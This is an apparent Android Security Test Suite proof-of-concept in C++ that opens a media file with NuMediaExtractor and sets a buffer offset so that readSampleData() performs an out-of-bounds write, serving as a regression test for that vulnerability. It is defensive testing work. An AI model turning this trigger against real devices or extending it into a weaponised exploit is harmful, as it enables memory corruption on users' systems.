/*
 * Copyright (C) 2023 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <media/IMediaHTTPService.h>
#include <media/stagefright/NuMediaExtractor.h>
#include <media/stagefright/foundation/ABuffer.h>
#include <stdlib.h>
#include <vector>
#include "../includes/common.h"
#include "../includes/memutils.h"

using namespace android;

char enable_selective_overload = ENABLE_NONE;

constexpr size_t kTrackIndex = 0;

int main(int argc, char **argv) {
    FAIL_CHECK(argc == 2);

    sp<NuMediaExtractor> extractor = new NuMediaExtractor(NuMediaExtractor::EntryPoint::OTHER);
    FAIL_CHECK(extractor);

    extractor->setDataSource(nullptr /* httpService */, argv[1]);
    extractor->selectTrack(kTrackIndex);
    size_t sampleSize = -1;
    extractor->getSampleSize(&sampleSize);
    FAIL_CHECK(sampleSize != -1);

    enable_selective_overload = ENABLE_ALL;
    std::vector<uint8_t> data(sampleSize);
    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
    FAIL_CHECK(data.size() == sampleSize);

    sp<ABuffer> buffer = new ABuffer(data.data(), sampleSize);
    FAIL_CHECK(buffer);

    // Setting the offset such that the buffer starts from the next byte after the last byte in the
    // alignment in order to just write into the write protected region of the allocation.
    // e.g. for a buffer of size 16 bytes,
    // if 10 bytes are to be written
    // then the offset should be 7 to cause an OOB write on the 17th byte.
    size_t offset = MINIMUM_ALIGNMENT - (sampleSize % MINIMUM_ALIGNMENT) + 1;
    size_t updatedSize = buffer->capacity() - offset;
    buffer->setRange(offset, updatedSize);

    // Calling the vulnerable function readSampleData() here causes an OOB write.
    extractor->readSampleData(buffer);
    return EXIT_SUCCESS;
}
